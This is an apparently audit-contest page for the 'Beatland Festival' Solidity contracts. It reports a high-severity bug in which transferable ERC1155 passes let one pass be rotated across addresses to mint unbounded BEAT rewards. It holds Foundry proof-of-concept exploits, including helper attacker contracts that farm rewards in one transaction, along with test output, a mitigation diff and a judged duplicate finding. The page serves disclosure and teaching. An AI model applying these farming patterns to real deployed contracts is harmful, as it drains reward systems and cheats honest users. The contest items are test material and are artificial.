Beatland Festival

AI First Flight #4
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Attendance and cooldown are keyed to the caller's address and read live, transferable pass balances, so one pass rotated across addresses mints unbounded BEAT per performance and lets a farmer buy out memorabilia

Root + Impact

Description

  • A pass holder calls attendPerformance while a performance is active and is minted baseReward * multiplier BEAT. The contract limits this to one reward per performance per attendee (hasAttended) and requires at least one hour between check-ins (COOLDOWN). The multiplier comes from the tier the attendee holds: GENERAL 1x, VIP 2x, BACKSTAGE 3x. Attendees then spend BEAT in redeemMemorabilia on finite collections, which are the only BEAT sink.

  • Every check in attendPerformance is keyed to msg.sender and reads live balanceOf. Passes (IDs 1-3) are ordinary ERC1155 tokens that transfer freely: FestivalPass does not override _update or safeTransferFrom, and OpenZeppelin safeTransferFrom only checks owner/operator approval. Nothing records which pass earned a reward. After one address checks in, the same pass can move to a fresh address. That address holds a pass, has hasAttended == false and has lastCheckIn == 0, so it is paid again for the same performance. Repeating this mints unbounded BEAT from one pass. It also skips the cooldown, and a GENERAL holder can borrow a BACKSTAGE pass for one call to get 3x. BeatToken.mint has no cap.

// src/FestivalPass.sol L106-L136 (@> on L108-L112, L114-L115, L121-L123, L128)
function attendPerformance(uint256 performanceId) external {
require(isPerformanceActive(performanceId), "Performance is not active");
@> require(hasPass(msg.sender), "Must own a pass");
@> require(!hasAttended[performanceId][msg.sender], "Already attended this performance");
@> require(block.timestamp >= lastCheckIn[msg.sender] + COOLDOWN, "Cooldown period not met");
@> hasAttended[performanceId][msg.sender] = true;
@> lastCheckIn[msg.sender] = block.timestamp;
@> uint256 multiplier = getMultiplier(msg.sender);
@> BeatToken(beatToken).mint(msg.sender, performances[performanceId].baseReward * multiplier);
emit Attended(msg.sender, performanceId, performances[performanceId].baseReward * multiplier);
}
​
// Check if user owns any pass
function hasPass(address user) public view returns (bool) {
@> return balanceOf(user, GENERAL_PASS) > 0 ||
@> balanceOf(user, VIP_PASS) > 0 ||
@> balanceOf(user, BACKSTAGE_PASS) > 0;
}
// Get user's reward multiplier based on pass type
function getMultiplier(address user) public view returns (uint256) {
@> if (balanceOf(user, BACKSTAGE_PASS) > 0) {
return 3; // 3x for BACKSTAGE
} else if (balanceOf(user, VIP_PASS) > 0) {
return 2; // 2x for VIP
} else if (balanceOf(user, GENERAL_PASS) > 0) {
return 1; // 1x for GENERAL
}
return 0; // No pass
}

Risk

Likelihood:

  • Any pass holder can do this during every active performance. It needs only standard ERC1155 transfers between addresses they control, or throwaway helper contracts. No privileged role and no special timing are involved.

  • Each round pays out immediately and leaves nothing for the protocol to detect or reverse. Every new performance offers the same opportunity again.

Impact:

  • BEAT emission becomes unbounded and no longer tied to real attendance. The once-per-performance rule, the 1-hour cooldown and the tier multipliers stop limiting anything. In the PoC, one BACKSTAGE pass passed across three EOAs earned 900 BEAT for one performance, against an honest maximum of 300. One transaction using 50 helper contracts minted 15,300 BEAT for one performance from a single pass.

  • Farmed BEAT captures the only BEAT sink. In the PoC, after one performance a farmer redeemed every redeemable item of a 10-item, 600-BEAT collection. An honest BACKSTAGE attendee who later held 615 BEAT was refused with "Collection sold out". No ETH is at risk.

Proof of Concept

The file has six tests.

  • test_baseline_singleAddressIsLimited shows that a single address really is limited: a second check-in reverts on hasAttended and on the cooldown.

  • test_passRotation_EOAs_sameperformance moves one BACKSTAGE pass (passSupply == 1) alice -> bob -> carol. Each is paid 3x for the same performance.

  • test_atomicMinionFarm_oneTx has a Farmer contract deploy a new Minion per loop. The Minion receives the pass, attends, and returns the pass and BEAT. With n = 50, one transaction mints exactly (n+1) x 3 x 100 BEAT.

  • test_multiplierBorrowing has a GENERAL holder borrow a BACKSTAGE pass for one call. They are paid 3x instead of 1x, and the lender then attends the same performance with the same pass.

  • test_cooldownBypass shows a check-in reverting on the cooldown, then succeeding in the same block from a second wallet that received the pass.

  • test_downstream_memorabiliaBuyout shows farmed BEAT buying out a collection before an honest attendee can afford an item. The collection allows maxSupply - 1 redemptions because of a separate off-by-one in redeemMemorabilia, so 9 items are bought here.

Save as test/PoC_BF-01.t.sol and run from the repository root:

FOUNDRY_FFI=false forge test --match-path test/PoC_BF-01.t.sol -vv

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
​
import {Test, console} from "forge-std/Test.sol";
import {FestivalPass} from "../src/FestivalPass.sol";
import {BeatToken} from "../src/BeatToken.sol";
import {IERC1155Receiver} from "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import {IERC165} from "@openzeppelin/contracts/utils/introspection/IERC165.sol";
​
/// Minimal ERC1155 receiver base for attacker contracts.
abstract contract Receiver1155 is IERC1155Receiver {
function onERC1155Received(address, address, uint256, uint256, bytes calldata) external pure returns (bytes4) {
return IERC1155Receiver.onERC1155Received.selector;
}
​
function onERC1155BatchReceived(address, address, uint256[] calldata, uint256[] calldata, bytes calldata)
external
pure
returns (bytes4)
{
return IERC1155Receiver.onERC1155BatchReceived.selector;
}
​
function supportsInterface(bytes4 id) external pure returns (bool) {
return id == type(IERC1155Receiver).interfaceId || id == type(IERC165).interfaceId;
}
}
​
/// Throwaway helper: receives the pass, attends, sends pass + BEAT back to its controller.
contract Minion is Receiver1155 {
function run(FestivalPass festival, BeatToken beat, uint256 perfId, uint256 passId) external {
festival.attendPerformance(perfId);
festival.safeTransferFrom(address(this), msg.sender, passId, 1, "");
beat.transfer(msg.sender, beat.balanceOf(address(this)));
}
}
​
/// Attacker controller: holds ONE pass and farms a single performance n+1 times in one transaction.
contract Farmer is Receiver1155 {
FestivalPass public festival;
BeatToken public beat;
​
constructor(FestivalPass _f, BeatToken _b) {
festival = _f;
beat = _b;
}
​
function buy(uint256 passId) external payable {
festival.buyPass{value: msg.value}(passId);
}
​
function farm(uint256 perfId, uint256 passId, uint256 n) external {
festival.attendPerformance(perfId);
for (uint256 i; i < n; ++i) {
Minion m = new Minion();
festival.safeTransferFrom(address(this), address(m), passId, 1, "");
m.run(festival, beat, perfId, passId);
}
}
​
function redeemAll(uint256 collectionId, uint256 count) external {
for (uint256 i; i < count; ++i) {
festival.redeemMemorabilia(collectionId);
}
}
}
​
contract PoC_BF01 is Test {
FestivalPass festival;
BeatToken beat;
​
address owner = makeAddr("owner");
address organizer = makeAddr("organizer");
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address carol = makeAddr("carol");
address aliceAlt = makeAddr("aliceAlt");
address generalUser = makeAddr("generalUser");
address honest = makeAddr("honest");
​
uint256 constant GENERAL = 1;
uint256 constant BACKSTAGE = 3;
uint256 constant GENERAL_PRICE = 0.05 ether;
uint256 constant BACKSTAGE_PRICE = 0.25 ether;
uint256 constant REWARD = 100e18;
uint256 constant BACKSTAGE_BONUS = 15e18;
​
uint256 perf0;
uint256 perf1;
​
function setUp() public {
vm.startPrank(owner);
beat = new BeatToken();
festival = new FestivalPass(address(beat), organizer);
beat.setFestivalContract(address(festival));
vm.stopPrank();
​
vm.startPrank(organizer);
festival.configurePass(GENERAL, GENERAL_PRICE, 1000);
festival.configurePass(BACKSTAGE, BACKSTAGE_PRICE, 100);
// Two overlapping performances, both starting in 1 hour, lasting 3 hours.
perf0 = festival.createPerformance(block.timestamp + 1 hours, 3 hours, REWARD);
perf1 = festival.createPerformance(block.timestamp + 1 hours, 3 hours, REWARD);
vm.stopPrank();
​
vm.deal(alice, 10 ether);
vm.deal(generalUser, 10 ether);
vm.deal(honest, 10 ether);
}
​
// ----------------------------------------------------------------------------------
// Baseline: for a single address, once-per-performance and the cooldown do work.
// ----------------------------------------------------------------------------------
function test_baseline_singleAddressIsLimited() public {
vm.prank(alice);
festival.buyPass{value: BACKSTAGE_PRICE}(BACKSTAGE);
vm.warp(block.timestamp + 1 hours + 1);
​
vm.prank(alice);
festival.attendPerformance(perf0);
assertEq(beat.balanceOf(alice), BACKSTAGE_BONUS + 3 * REWARD, "one backstage check-in = 3x reward");
​
vm.prank(alice);
vm.expectRevert("Already attended this performance");
festival.attendPerformance(perf0);
​
vm.prank(alice);
vm.expectRevert("Cooldown period not met");
festival.attendPerformance(perf1);
}
​
// ----------------------------------------------------------------------------------
// Limb 1: plain EOA rotation - one pass, one performance, three full 3x rewards.
// ----------------------------------------------------------------------------------
function test_passRotation_EOAs_sameperformance() public {
vm.prank(alice);
festival.buyPass{value: BACKSTAGE_PRICE}(BACKSTAGE);
assertEq(festival.passSupply(BACKSTAGE), 1);
vm.warp(block.timestamp + 1 hours + 1);
​
vm.prank(alice);
festival.attendPerformance(perf0);
vm.prank(alice);
festival.safeTransferFrom(alice, bob, BACKSTAGE, 1, "");
​
vm.prank(bob);
festival.attendPerformance(perf0);
vm.prank(bob);
festival.safeTransferFrom(bob, carol, BACKSTAGE, 1, "");
​
vm.prank(carol);
festival.attendPerformance(perf0);
​
uint256 farmed = beat.balanceOf(alice) + beat.balanceOf(bob) + beat.balanceOf(carol) - BACKSTAGE_BONUS;
console.log("passes ever sold:", festival.passSupply(BACKSTAGE));
console.log("BEAT minted for ONE performance from ONE pass:", farmed / 1e18);
assertEq(festival.passSupply(BACKSTAGE), 1, "only one pass exists");
assertEq(farmed, 3 * (3 * REWARD), "same pass paid the 3x reward three times for one performance");
assertTrue(festival.hasAttended(perf0, alice) && festival.hasAttended(perf0, bob) && festival.hasAttended(perf0, carol));
}
​
// ----------------------------------------------------------------------------------
// Limb 2: atomic variant - one pass, one tx, n+1 rewards for a single performance.
// ----------------------------------------------------------------------------------
function test_atomicMinionFarm_oneTx() public {
Farmer farmer = new Farmer(festival, beat);
vm.deal(address(farmer), 1 ether);
farmer.buy{value: BACKSTAGE_PRICE}(BACKSTAGE);
vm.warp(block.timestamp + 1 hours + 1);
​
uint256 n = 50;
uint256 supplyBefore = beat.totalSupply();
farmer.farm(perf0, BACKSTAGE, n); // single transaction
​
uint256 minted = beat.totalSupply() - supplyBefore;
console.log("minion count n:", n);
console.log("BEAT minted for one performance in one tx:", minted / 1e18);
console.log("honest max for that performance (3x):", (3 * REWARD) / 1e18);
assertEq(minted, (n + 1) * 3 * REWARD, "(n+1) * 3x reward from one pass");
assertEq(beat.balanceOf(address(farmer)), BACKSTAGE_BONUS + (n + 1) * 3 * REWARD, "all BEAT consolidated in controller");
assertEq(festival.balanceOf(address(farmer), BACKSTAGE), 1, "controller still holds the pass afterwards");
assertEq(festival.passSupply(BACKSTAGE), 1, "only one pass ever sold");
}
​
// ----------------------------------------------------------------------------------
// Limb 3: multiplier borrowing - a GENERAL holder briefly borrows a BACKSTAGE pass.
// ----------------------------------------------------------------------------------
function test_multiplierBorrowing() public {
vm.prank(generalUser);
festival.buyPass{value: GENERAL_PRICE}(GENERAL);
vm.prank(alice);
festival.buyPass{value: BACKSTAGE_PRICE}(BACKSTAGE);
vm.warp(block.timestamp + 1 hours + 1);
​
// Baseline: general holder alone earns 1x.
assertEq(festival.getMultiplier(generalUser), 1);
​
// Alice lends her backstage pass just for the check-in.
vm.prank(alice);
festival.safeTransferFrom(alice, generalUser, BACKSTAGE, 1, "");
vm.prank(generalUser);
festival.attendPerformance(perf0);
vm.prank(generalUser);
festival.safeTransferFrom(generalUser, alice, BACKSTAGE, 1, "");
​
assertEq(beat.balanceOf(generalUser), 3 * REWARD, "GENERAL holder was paid 3x, not 1x");
assertEq(festival.balanceOf(generalUser, BACKSTAGE), 0, "pass returned immediately");
assertEq(festival.getMultiplier(generalUser), 1, "back to 1x after the borrow");
​
// Alice then attends the same performance herself with the same pass.
vm.prank(alice);
festival.attendPerformance(perf0);
assertEq(beat.balanceOf(alice), BACKSTAGE_BONUS + 3 * REWARD);
}
​
// ----------------------------------------------------------------------------------
// Limb 4: cooldown bypass - overlapping performances via a second address.
// ----------------------------------------------------------------------------------
function test_cooldownBypass() public {
vm.prank(alice);
festival.buyPass{value: BACKSTAGE_PRICE}(BACKSTAGE);
vm.warp(block.timestamp + 1 hours + 1);
​
vm.prank(alice);
festival.attendPerformance(perf0);
​
vm.prank(alice);
vm.expectRevert("Cooldown period not met");
festival.attendPerformance(perf1);
​
// Same block: move the pass to alice's second wallet and attend perf1 immediately.
vm.prank(alice);
festival.safeTransferFrom(alice, aliceAlt, BACKSTAGE, 1, "");
vm.prank(aliceAlt);
festival.attendPerformance(perf1);
​
assertEq(beat.balanceOf(aliceAlt), 3 * REWARD, "second performance paid inside the cooldown window");
assertEq(festival.lastCheckIn(alice), festival.lastCheckIn(aliceAlt), "both check-ins in the same second");
}
​
// ----------------------------------------------------------------------------------
// Limb 5: downstream - farmed BEAT buys out a finite memorabilia collection.
// ----------------------------------------------------------------------------------
function test_downstream_memorabiliaBuyout() public {
// Collection priced at 2 honest backstage attendances per item; 10 slots.
vm.prank(organizer);
uint256 cid = festival.createMemorabiliaCollection("Poster", "ipfs://poster", 600e18, 10, true);
​
// Honest attendee with their own BACKSTAGE pass.
vm.prank(honest);
festival.buyPass{value: BACKSTAGE_PRICE}(BACKSTAGE);
​
Farmer farmer = new Farmer(festival, beat);
vm.deal(address(farmer), 1 ether);
farmer.buy{value: BACKSTAGE_PRICE}(BACKSTAGE);
vm.warp(block.timestamp + 1 hours + 1);
​
// Both attend the same single performance.
vm.prank(honest);
festival.attendPerformance(perf0);
farmer.farm(perf0, BACKSTAGE, 20);
​
// Farmer buys every remaining item (contract allows maxSupply - 1 redemptions).
uint256 redeemable = 10 - 1;
farmer.redeemAll(cid, redeemable);
console.log("farmer memorabilia redeemed after ONE performance:", redeemable);
console.log("honest BEAT balance:", beat.balanceOf(honest) / 1e18);
​
// Honest user attends a second performance after the cooldown: 15 + 300 + 300 = 615 BEAT >= 600.
vm.warp(block.timestamp + 1 hours + 1);
vm.prank(honest);
festival.attendPerformance(perf1);
assertGe(beat.balanceOf(honest), 600e18, "honest user can afford one item after two performances");
​
vm.prank(honest);
vm.expectRevert("Collection sold out");
festival.redeemMemorabilia(cid);
}
}

Observed output (excerpt):

[PASS] test_atomicMinionFarm_oneTx() (gas: 34110314)
minion count n: 50
BEAT minted for one performance in one tx: 15300
honest max for that performance (3x): 300
[PASS] test_baseline_singleAddressIsLimited() (gas: 221515)
[PASS] test_cooldownBypass() (gas: 324771)
[PASS] test_downstream_memorabiliaBuyout() (gas: 15408060)
farmer memorabilia redeemed after ONE performance: 9
honest BEAT balance: 315
[PASS] test_multiplierBorrowing() (gas: 378310)
[PASS] test_passRotation_EOAs_sameperformance() (gas: 419787)
passes ever sold: 1
BEAT minted for ONE performance from ONE pass: 900
Suite result: ok. 6 passed; 0 failed; 0 skipped

Recommended Mitigation

Attendance, cooldown and multiplier are all per address, so the pass has to stay bound to that address. Block transfers of pass IDs 1-3 between non-zero addresses; minting is unaffected. If secondary sales must remain possible, the alternative is to lock a pass in the address that used it until the performances it attended have ended.

function decodeTokenId(uint256 tokenId) public pure returns (uint256 collectionId, uint256 itemId) {
collectionId = tokenId >> COLLECTION_ID_SHIFT;
itemId = uint256(uint128(tokenId));
}
+ /// @dev Attendance, cooldown and multiplier are keyed by address, so passes
+ /// (IDs 1-3) must not move between addresses after they are minted.
+ function _update(address from, address to, uint256[] memory ids, uint256[] memory values) internal override {
+ if (from != address(0) && to != address(0)) {
+ for (uint256 i = 0; i < ids.length; i++) {
+ require(ids[i] < GENERAL_PASS || ids[i] > BACKSTAGE_PASS, "Passes are non-transferable");
+ }
+ }
+ super._update(from, to, ids, values);
+ }
+
// Create a new memorabilia collection
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Pass Lending Reward Multiplication Enables Unlimited Performance Rewards

# Root + Impact ## Description * The `attendPerformance()` function is designed to reward pass holders for attending performances, with VIP and BACKSTAGE passes receiving multiplied rewards based on their tier. Under normal operation, each pass should generate rewards for a single attendee per performance, maintaining balanced tokenomics where one pass purchase corresponds to one set of performance rewards throughout the festival. * However, the attendance system tracks attendance per user rather than per pass, while pass ownership validation occurs only at the moment of attendance through `hasPass()`. This allows coordinated users to share a single pass by strategically transferring it between attendees, enabling multiple users to attend the same performance with the same pass and each receive full multiplied rewards, effectively turning one pass purchase into unlimited reward generation. ```Solidity function attendPerformance(uint256 performanceId) external { require(isPerformanceActive(performanceId), "Performance is not active"); @> require(hasPass(msg.sender), "Must own a pass"); // Only checks current ownership @> require(!hasAttended[performanceId][msg.sender], "Already attended this performance"); // Per-user tracking require(block.timestamp >= lastCheckIn[msg.sender] + COOLDOWN, "Cooldown period not met"); @> hasAttended[performanceId][msg.sender] = true; // Marks user as attended lastCheckIn[msg.sender] = block.timestamp; uint256 multiplier = getMultiplier(msg.sender); BeatToken(beatToken).mint(msg.sender, performances[performanceId].baseReward * multiplier); } function hasPass(address user) public view returns (bool) { @> return balanceOf(user, GENERAL_PASS) > 0 || balanceOf(user, VIP_PASS) > 0 || balanceOf(user, BACKSTAGE_PASS) > 0; // Only checks current balance } ``` The vulnerability exists in the combination of per-user attendance tracking (`hasAttended[performanceId][msg.sender]`) and point-in-time pass ownership validation (`hasPass(msg.sender)`). The system records that a specific user attended a specific performance, but does not track which pass was used or prevent the same pass from being used by multiple users for the same performance through transfers. ## Risk **Likelihood**: *  The vulnerability requires coordination between multiple users and strategic timing of pass transfers during active performance windows, which demands planning and cooperation rather than simple individual exploitation.    * The attack becomes immediately executable once multiple users coordinate, as ERC1155 transfers are permissionless and the attendance system provides no restrictions on pass transfers between attendance events. **Impact**: * Unlimited reward farming from single pass purchases enables coordinated groups to multiply performance rewards indefinitely (demonstrated: 4x-10x reward multiplication), completely breaking the intended pass-to-reward ratio and causing massive BEAT token inflation. * Complete bypass of cooldown mechanisms and attendance restrictions through pass lending, allowing rapid reward extraction and undermining all intended rate-limiting protections designed to prevent reward farming abuse. ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.25; import "forge-std/Test.sol"; import "../src/FestivalPass.sol"; import "../src/BeatToken.sol"; import {console} from "forge-std/console.sol"; /** * @title Pass Lending Reward Multiplication PoC * @dev Demonstrates how single pass can generate unlimited rewards across multiple users * through strategic pass transfers and coordinated attendance * * VULNERABILITY: No ownership tracking during attendance * - hasPass() only checks current balance at time of attendance * - attendPerformance() tracks attendance per user, not per pass * - Single pass can be transferred between users for unlimited reward farming * * ATTACK VECTOR: * 1. Alice buys 1 VIP pass and attends performance → earns 2x rewards * 2. Alice transfers pass to Bob * 3. Bob attends same performance → earns 2x rewards * 4. Bob transfers pass to Charlie → Charlie attends → repeat * 5. Single pass generates unlimited rewards across unlimited users */ contract PassLendingExploitPoC is Test { FestivalPass public festivalPass; BeatToken public beatToken; address public owner; address public organizer; address public alice; address public bob; address public charlie; address public dave; // Pass configuration for maximum reward exploitation uint256 constant VIP_PRICE = 0.1 ether; uint256 constant VIP_MAX_SUPPLY = 1000; uint256 constant VIP_PASS = 2; uint256 constant VIP_MULTIPLIER = 2; // 2x rewards uint256 public performanceId; uint256 constant BASE_REWARD = 100e18; uint256 constant EXPECTED_VIP_REWARD = BASE_REWARD * VIP_MULTIPLIER; // 200 BEAT function setUp() public { owner = makeAddr("owner"); organizer = makeAddr("organizer"); alice = makeAddr("alice"); bob = makeAddr("bob"); charlie = makeAddr("charlie"); dave = makeAddr("dave"); // Deploy protocol vm.startPrank(owner); beatToken = new BeatToken(); festivalPass = new FestivalPass(address(beatToken), organizer); beatToken.setFestivalContract(address(festivalPass)); vm.stopPrank(); // Configure VIP pass vm.prank(organizer); festivalPass.configurePass(VIP_PASS, VIP_PRICE, VIP_MAX_SUPPLY); // Create a performance for exploitation vm.prank(organizer); performanceId = festivalPass.createPerformance( block.timestamp + 1 hours, // starts in 1 hour 4 hours, // lasts 4 hours BASE_REWARD // base reward ); // Fund Alice to buy the pass vm.deal(alice, 1 ether); } function testSinglePassMultipleRewards() public { console.log("=== PASS LENDING REWARD MULTIPLICATION EXPLOIT ===\n"); // Alice buys single VIP pass console.log("--- Setup: Alice buys 1 VIP pass ---"); vm.prank(alice); festivalPass.buyPass{value: VIP_PRICE}(VIP_PASS); console.log("Alice VIP balance:", festivalPass.balanceOf(alice, VIP_PASS)); console.log("Alice BEAT balance (welcome bonus):", beatToken.balanceOf(alice)); // Warp to performance time vm.warp(block.timestamp + 2 hours); console.log("\n--- Performance starts, exploitation begins ---"); // STEP 1: Alice attends performance and earns rewards console.log("STEP 1: Alice attends performance"); vm.prank(alice); festivalPass.attendPerformance(performanceId); uint256 aliceReward = beatToken.balanceOf(alice) - 5e18; // subtract welcome bonus console.log("Alice attendance reward:", aliceReward); console.log("Alice has attended:", festivalPass.hasAttended(performanceId, alice)); // STEP 2: Alice transfers pass to Bob console.log("\nSTEP 2: Alice transfers VIP pass to Bob"); vm.prank(alice); festivalPass.safeTransferFrom(alice, bob, VIP_PASS, 1, ""); console.log("Alice VIP balance:", festivalPass.balanceOf(alice, VIP_PASS)); console.log("Bob VIP balance:", festivalPass.balanceOf(bob, VIP_PASS)); console.log("Bob has pass:", festivalPass.hasPass(bob)); // STEP 3: Bob attends SAME performance with transferred pass console.log("\nSTEP 3: Bob attends SAME performance with transferred pass"); vm.prank(bob); festivalPass.attendPerformance(performanceId); uint256 bobReward = beatToken.balanceOf(bob); console.log("Bob attendance reward:", bobReward); console.log("Bob has attended:", festivalPass.hasAttended(performanceId, bob)); // STEP 4: Bob transfers pass to Charlie console.log("\nSTEP 4: Bob transfers VIP pass to Charlie"); vm.prank(bob); festivalPass.safeTransferFrom(bob, charlie, VIP_PASS, 1, ""); // STEP 5: Charlie attends SAME performance console.log("\nSTEP 5: Charlie attends SAME performance"); vm.prank(charlie); festivalPass.attendPerformance(performanceId); uint256 charlieReward = beatToken.balanceOf(charlie); console.log("Charlie attendance reward:", charlieReward); // STEP 6: Charlie transfers to Dave for final demonstration console.log("\nSTEP 6: Charlie transfers to Dave"); vm.prank(charlie); festivalPass.safeTransferFrom(charlie, dave, VIP_PASS, 1, ""); vm.prank(dave); festivalPass.attendPerformance(performanceId); uint256 daveReward = beatToken.balanceOf(dave); console.log("Dave attendance reward:", daveReward); // Calculate total exploitation console.log("\n=== EXPLOITATION RESULTS ==="); uint256 totalRewards = aliceReward + bobReward + charlieReward + daveReward; uint256 legitimateReward = EXPECTED_VIP_REWARD; // Only 1 person should get rewards console.log("Total BEAT farmed from 1 pass:", totalRewards); console.log("Legitimate reward (1 person):", legitimateReward); console.log("Reward multiplication factor:", totalRewards / legitimateReward); console.log("Excess BEAT stolen:", totalRewards - legitimateReward); // Verify the exploit assertEq(aliceReward, EXPECTED_VIP_REWARD, "Alice should get VIP reward"); assertEq(bobReward, EXPECTED_VIP_REWARD, "Bob should get VIP reward"); assertEq(charlieReward, EXPECTED_VIP_REWARD, "Charlie should get VIP reward"); assertEq(daveReward, EXPECTED_VIP_REWARD, "Dave should get VIP reward"); assertEq(totalRewards, 4 * legitimateReward, "4x reward multiplication"); // Show that attendance tracking is per-user, not per-pass console.log("\nAttendance tracking per user:"); console.log("Alice attended:", festivalPass.hasAttended(performanceId, alice)); console.log("Bob attended:", festivalPass.hasAttended(performanceId, bob)); console.log("Charlie attended:", festivalPass.hasAttended(performanceId, charlie)); console.log("Dave attended:", festivalPass.hasAttended(performanceId, dave)); // Current pass holder console.log("Final pass holder (Dave):", festivalPass.balanceOf(dave, VIP_PASS)); } function testLargeScalePassLendingRing() public { console.log("=== LARGE-SCALE PASS LENDING RING ===\n"); // Alice buys single BACKSTAGE pass (highest multiplier) uint256 BACKSTAGE_PRICE = 0.25 ether; uint256 BACKSTAGE_PASS = 3; uint256 BACKSTAGE_MULTIPLIER = 3; vm.prank(organizer); festivalPass.configurePass(BACKSTAGE_PASS, BACKSTAGE_PRICE, 100); vm.deal(alice, 1 ether); vm.prank(alice); festivalPass.buyPass{value: BACKSTAGE_PRICE}(BACKSTAGE_PASS); // Create multiple performances for maximum exploitation vm.startPrank(organizer); uint256 perf1 = festivalPass.createPerformance(block.timestamp + 1 hours, 6 hours, BASE_REWARD); uint256 perf2 = festivalPass.createPerformance(block.timestamp + 2 hours, 6 hours, BASE_REWARD); vm.stopPrank(); // Create lending ring of 10 users address[] memory lendingRing = new address[](10); for (uint256 i = 0; i < 10; i++) { lendingRing[i] = makeAddr(string(abi.encodePacked("user", i))); } lendingRing[0] = alice; // Alice starts with the pass console.log("Lending ring size:", lendingRing.length); console.log("BACKSTAGE pass multiplier:", BACKSTAGE_MULTIPLIER); console.log("Expected reward per attendance:", BASE_REWARD * BACKSTAGE_MULTIPLIER); // Exploit Performance 1 vm.warp(block.timestamp + 90 minutes); console.log("\n--- Exploiting Performance 1 ---"); for (uint256 i = 0; i < lendingRing.length; i++) { address currentUser = lendingRing[i]; // User attends performance vm.prank(currentUser); festivalPass.attendPerformance(perf1); uint256 reward = beatToken.balanceOf(currentUser); if (i == 0) reward -= 15e18; // subtract Alice's welcome bonus console.log("User", i, "reward:", reward); // Transfer to next user (except last) if (i < lendingRing.length - 1) { address nextUser = lendingRing[i + 1]; vm.prank(currentUser); festivalPass.safeTransferFrom(currentUser, nextUser, BACKSTAGE_PASS, 1, ""); } } // Wait for cooldown and exploit Performance 2 vm.warp(block.timestamp + 2 hours); console.log("\n--- Exploiting Performance 2 ---"); // Start from last user who has the pass address currentHolder = lendingRing[lendingRing.length - 1]; for (uint256 i = 0; i < lendingRing.length; i++) { vm.prank(currentHolder); festivalPass.attendPerformance(perf2); // Transfer to next user for continued exploitation if (i < lendingRing.length - 1) { address nextUser = lendingRing[i]; vm.prank(currentHolder); festivalPass.safeTransferFrom(currentHolder, nextUser, BACKSTAGE_PASS, 1, ""); currentHolder = nextUser; } } // Calculate total damage console.log("\n=== LARGE-SCALE EXPLOITATION RESULTS ==="); uint256 totalBEATFarmed = 0; for (uint256 i = 0; i < lendingRing.length; i++) { uint256 userBalance = beatToken.balanceOf(lendingRing[i]); if (i == 0) userBalance -= 15e18; // subtract welcome bonus totalBEATFarmed += userBalance; console.log("User", i, "total BEAT:", userBalance); } uint256 legitimateTotal = 2 * BASE_REWARD * BACKSTAGE_MULTIPLIER; // 2 performances, 1 person console.log("Total BEAT farmed:", totalBEATFarmed); console.log("Legitimate total (2 performances, 1 person):", legitimateTotal); console.log("Exploitation multiplier:", totalBEATFarmed / legitimateTotal); assertGe(totalBEATFarmed, legitimateTotal * 10, "Should farm >=10x legitimate rewards"); } function testCooldownBypassThroughLending() public { console.log("=== COOLDOWN BYPASS THROUGH PASS LENDING ===\n"); // Alice buys VIP pass vm.prank(alice); festivalPass.buyPass{value: VIP_PRICE}(VIP_PASS); // Create overlapping performances to test cooldown bypass vm.startPrank(organizer); uint256 perf1 = festivalPass.createPerformance(block.timestamp + 1 hours, 3 hours, BASE_REWARD); uint256 perf2 = festivalPass.createPerformance(block.timestamp + 1 hours, 3 hours, BASE_REWARD); vm.stopPrank(); vm.warp(block.timestamp + 90 minutes); // Alice attends performance 1 console.log("Alice attends performance 1"); vm.prank(alice); festivalPass.attendPerformance(perf1); console.log("Alice lastCheckIn:", festivalPass.lastCheckIn(alice)); // Alice tries to attend performance 2 immediately (should fail due to cooldown) console.log("\nAlice tries performance 2 immediately:"); vm.prank(alice); vm.expectRevert("Cooldown period not met"); festivalPass.attendPerformance(perf2); console.log(" Cooldown protection working"); // Alice transfers pass to Bob to bypass cooldown console.log("\nAlice transfers pass to Bob to bypass cooldown"); vm.prank(alice); festivalPass.safeTransferFrom(alice, bob, VIP_PASS, 1, ""); // Bob can immediately attend performance 2 (no cooldown for Bob) console.log("Bob attends performance 2 immediately:"); vm.prank(bob); festivalPass.attendPerformance(perf2); uint256 bobReward = beatToken.balanceOf(bob); console.log("Bob reward:", bobReward); console.log("Bob lastCheckIn:", festivalPass.lastCheckIn(bob)); console.log("\n=== COOLDOWN BYPASS RESULTS ==="); console.log("Alice could not attend due to cooldown"); console.log("Bob successfully attended immediately after transfer"); console.log("Cooldown mechanism bypassed through pass lending"); assertEq(bobReward, EXPECTED_VIP_REWARD, "Bob should successfully earn rewards"); assertEq(festivalPass.lastCheckIn(bob), block.timestamp, "Bob's check-in should be recorded"); } } ``` ```Solidity forge test --match-contract PassLendingExploitPoC -vv [⠰] Compiling... [⠃] Compiling 1 files with Solc 0.8.25 [⠊] Solc 0.8.25 finished in 442.56ms Compiler run successful! Ran 3 tests for test/PassLendingExploit.t.sol:PassLendingExploitPoC [PASS] testCooldownBypassThroughLending() (gas: 473221) Logs: === COOLDOWN BYPASS THROUGH PASS LENDING === Alice attends performance 1 Alice lastCheckIn: 5401 Alice tries performance 2 immediately: Cooldown protection working Alice transfers pass to Bob to bypass cooldown Bob attends performance 2 immediately: Bob reward: 200000000000000000000 Bob lastCheckIn: 5401 === COOLDOWN BYPASS RESULTS === Alice could not attend due to cooldown Bob successfully attended immediately after transfer Cooldown mechanism bypassed through pass lending [PASS] testLargeScalePassLendingRing() (gas: 1794585) Logs: === LARGE-SCALE PASS LENDING RING === Lending ring size: 10 BACKSTAGE pass multiplier: 3 Expected reward per attendance: 300000000000000000000 --- Exploiting Performance 1 --- User 0 reward: 300000000000000000000 User 1 reward: 300000000000000000000 User 2 reward: 300000000000000000000 User 3 reward: 300000000000000000000 User 4 reward: 300000000000000000000 User 5 reward: 300000000000000000000 User 6 reward: 300000000000000000000 User 7 reward: 300000000000000000000 User 8 reward: 300000000000000000000 User 9 reward: 300000000000000000000 --- Exploiting Performance 2 --- === LARGE-SCALE EXPLOITATION RESULTS === User 0 total BEAT: 600000000000000000000 User 1 total BEAT: 600000000000000000000 User 2 total BEAT: 600000000000000000000 User 3 total BEAT: 600000000000000000000 User 4 total BEAT: 600000000000000000000 User 5 total BEAT: 600000000000000000000 User 6 total BEAT: 600000000000000000000 User 7 total BEAT: 600000000000000000000 User 8 total BEAT: 600000000000000000000 User 9 total BEAT: 600000000000000000000 